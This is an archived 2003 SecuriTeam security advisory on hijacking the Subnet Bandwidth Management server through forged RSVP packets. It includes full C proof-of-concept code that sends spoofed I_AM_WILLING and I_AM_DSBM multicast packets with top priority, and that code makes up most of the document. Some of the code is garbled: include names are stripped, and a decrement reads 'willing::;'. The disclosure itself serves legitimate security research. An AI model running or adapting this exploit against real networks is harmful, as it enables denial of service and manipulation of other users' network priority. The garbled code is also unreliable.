

[NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol (RSVP)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0036.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/13/03

To: list@securiteam.com

Date: 13 Aug 2003 16:25:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol (RSVP)

SUMMARY

The resource reservation protocol (RSVP) is used within the Subnet Bandwidth Management protocol (RFC 2814) and is vulnerable to allowing a rogue host to hijack control of a server via the use of priority assignment. By specifying, a higher priority than the current RSVP server would allow the current server to be pre-empted and a rogue one take its place.

DETAILS

How the attack works:

Send I_AM_WILLING RSVP packets to be the resource reservation protocol server to indicate that the source host is willing to be a RSVP server.

Securiteam: [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

Send I_AM_DSMB RSVP packets to indicate that the source address has a priority of 255 (1 byte – thus highest possible priority). If the server has a lower priority, it will be pre-empted and the source address will take over and act as the resource reservation server.

For politeness four I_AM_WILLING packers are sent, followed by a I_AM_DSMB packet every five seconds after that. This should ensure that while the I_AM_DSMB packets are being sent the original RSVP server would not handle resource priority assignment. Tested against a Windows 2000 RSVP server, but as this is a protocol attack it is assumed that would work against any RSVP server.

For more information see <<http://support.microsoft.com/?kbid=228830>>
<http://support.microsoft.com/?kbid=228830>

For more information see <<http://support.microsoft.com/?kbid=247101>>
<http://support.microsoft.com/?kbid=247101>

Further attacks possible:

A spoofed server could allow different hosts to have a different level of quality of service (QoS), either giving a higher level priority to a host or reducing the priority of a video link or a VoIP connection for example.

Proof of concept code:

```
//Network Penetration
//www.networkpenetration.com
//ste jones root@networkpenetration.com
//
//Proof of concept code for attack against RSVP / SBM (RFC 2814)
//compile: gcc rsvp.c -Wall -o RSVP_DoS
//Allows spoofing of source IP with -s
//Tested on linux against win2k server
//You will need to be root to launch the attack as we are using raw
sockets
```

/*RSVP

```
* Resource ReserVation Protocol Munger
*
* multicast IP 224.0.0.17
* IP protocol number 0x2e for RSVP
*
* RSVP Header
* Version = 4bits
* flags = 4 bits
* message type = 8 bits = 67 = I_AM_DSMB
* RSVP checksum = 16 bits = set to 0's
* TTL = 8 bits = 1 on multicast
* Reserved = 8 bits
* RSVP length = 16 bits
* + data
*
* Data header
```

[NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservatio~~n~~ Protocol

Securiteam: [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

```
* Length = 16 bits
* Class = 8 bits
* type = 8 bits
* Obj contents
*/

/*
*Proof of concept – doesn;t check if RSVP priority of server assumes lower
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

void usage(char *progname);
void startattack(void);
unsigned short in_chksum(unsigned short *pts, int nbytes);

struct rsvphd{
int flags:4;
int version:4;
char type:8;
int checksum:16;
char ttl:8;
char reserved:8;
int length:16;
};

struct rsvpdata{
char buf[40];
};

struct header{
struct iphdr ip;
struct rsvphd rhead;
struct rsvpdata rdata;
};

struct in_addr spoofed;

int main(int argc, char *argv[])
{
```

Securiteam: [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

```
int c;
printf("RSVP Munger by Ste Jones from NetworkPenetration.com\n");
printf("::::::::::::::::::::::::::::::::::::\n");
opterr = 0; //stop error messages from command line
while ((c=getopt(argc, argv, "s:")) != -1){
switch(c){
case 's': if(!inet_aton(optarg, &spoofed)){
printf("Malformed IP address: %s\n", optarg);
exit(1);
}
break;

default: usage(argv[0]);
exit(1);
break;
}
}
for(;;){
startattack();
}
exit(0);
}

void startattack(void)
{
struct header heada;
struct sockaddr_in sin;
int sock;
int on;
int sinlen;
int willing;
unsigned char *sourceip;
on = 1;
willing = 4; //send willing four times then I_AM_DBSM
printf("\nSending %d I_AM_WILLING packets followed by I_AM_DSBM packets
every 5 seconds\n\n", willing);
for(;;){

memset(&heada, '\0', sizeof(heada));
if(willing) printf("Creating I_AM_WILLING packet\n");
else printf("Creating I_AM_DSBM packet\n");

heada.ip.ihl = 5;
heada.ip.version = 4;
heada.ip.tos = 0xc0; //same options as set by Microsoft RSVP
if(willing) heada.ip.tot_len = htons(56);
else heada.ip.tot_len = htons(64);
heada.ip.id = 0x0000; //checksum calculate later
heada.ip.frag_off = 0;
heada.ip.ttl = 1; //multicast uses ttl of 1
heada.ip.protocol = 0x2e; //RSVP protocol number
```

[NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservatio~~n~~ Protoc

Securiteam: [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

```
heada.ip.check = 0;
if(spoofed.s_addr){
heada.ip.saddr = spoofed.s_addr;
}
else heada.ip.saddr = 0; //let kernel decide
heada.ip.daddr = inet_addr("224.0.0.17");

sourceip = (unsigned char *)&heada.ip.saddr;

heada.rhead.flags = 0;
heada.rhead.version = 1;
if(willing) heada.rhead.type = 0x42; //I_AM_WILLING
else heada.rhead.type = 0x43; //I_AM_DSBM

heada.rhead.checksum= 0x0000; //checksum calculated later
heada.rhead.ttl = 0x01;
heada.rhead.reserved= 0x00;
if(willing) heada.rhead.length = 0x2400;
else heada.rhead.length = 0x2c00;

heada.rdata.buf[0] = 0x00;//length
heada.rdata.buf[1] = 0x08;//length
heada.rdata.buf[2] = 0x2a;//0x2a01 = DSBM IP ADDR
heada.rdata.buf[3] = 0x01;
heada.rdata.buf[4] = sourceip[0];//IP address
heada.rdata.buf[5] = sourceip[1];//if not spoofed DSBM IP ADDR = 0
heada.rdata.buf[6] = sourceip[2];//
heada.rdata.buf[7] = sourceip[3];//

heada.rdata.buf[8] = 0x00;//length
heada.rdata.buf[9] = 0x0c;//length
heada.rdata.buf[10] = 0xa1;//0a101 = RSVP_HOP_L2, IEEE canonical addr
heada.rdata.buf[11] = 0x01;
heada.rdata.buf[12] = 0x00; //mac addr
heada.rdata.buf[13] = 0x11; //
heada.rdata.buf[14] = 0x22; //
heada.rdata.buf[15] = 0x33; //
heada.rdata.buf[16] = 0x44; //
heada.rdata.buf[17] = 0x55; //
heada.rdata.buf[18] = 0x00; //
heada.rdata.buf[19] = 0x00; //

heada.rdata.buf[20] = 0x00; //length
heada.rdata.buf[21] = 0x08; //length
heada.rdata.buf[22] = 0x2b; // 0x2b01 = SMB_Priority
heada.rdata.buf[23] = 0x01; //
heada.rdata.buf[24] = 0x00; //priority
heada.rdata.buf[25] = 0x00; //priority
heada.rdata.buf[26] = 0x00; //priority
if(!willing)heada.rdata.buf[27] = 0xff; //priority 255
else heada.rdata.buf[27] = 0xff; //priority
```

[NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

Securiteam: [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

```
//priority = 255
//highest possible priority
//if server has lower priority vulnerable to DoS

if(!willing){
heada.rdata.buf[28] = 0x00; //length
heada.rdata.buf[29] = 0x08; //length
heada.rdata.buf[30] = 0x2c; //0x2c01 = DSBM timer intervals
heada.rdata.buf[31] = 0x01;
heada.rdata.buf[32] = 0x00; //retransmit time
heada.rdata.buf[33] = 0x00; //
heada.rdata.buf[34] = 0x0f; //0x0f?
heada.rdata.buf[35] = 0x05; //time 5 seconds
}

heada.ip.check = in_chksum((unsigned short *)&heada.ip, 20);

sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr("224.0.0.17");

if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
printf("Socket error %s\n",strerror(errno));
exit(1);
}

if((setsockopt(sock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))) < 0){
printf("Setsockopt error %s\n",strerror(errno));
exit(1);
}

sinlen = sizeof(sin);

if(willing){
if(sendto(sock, &heada, 56, 0, (struct sockaddr *)&sin, sinlen) != 56){
printf("Sento error\n");
exit(1);
}
printf("Sent I_AM_WILLING packet\n");
}

else{
if(sendto(sock, &heada, 64, 0, (struct sockaddr *)&sin, sinlen) != 64){
printf("Sento error\n");
exit(1);
}
printf("Sent I_AM_DBSM packet\n");
}

close(sock);
if(willing) willing::;
```

[NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservatio6 Protoc

Securiteam: [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

```
sleep(5);
}
}

void usage(char *progname)
{
printf("\n%s\n", progname);
printf("\t-s Spoof source IP address\n");
printf("\n");

exit(1);
}

unsigned short in_chksum(unsigned short *pts, int nbytes)
{
register long sum;
u_short oddbyte;
register u_short answer;

sum = 0;
while(nbytes > 1){
sum += *pts++;
nbytes -=2;
}

if(nbytes == 1){
oddbyte = 0;
*((u_char *) &oddbyte) = *(u_char *)pts;
sum += oddbyte;
}

sum = (sum >> 16) + (sum &0xffff);
sum += (sum >>16);
answer = ~sum;
return(answer);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:root@networkpenetration.com>>
Ste Jones.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

[NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

Securiteam: [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.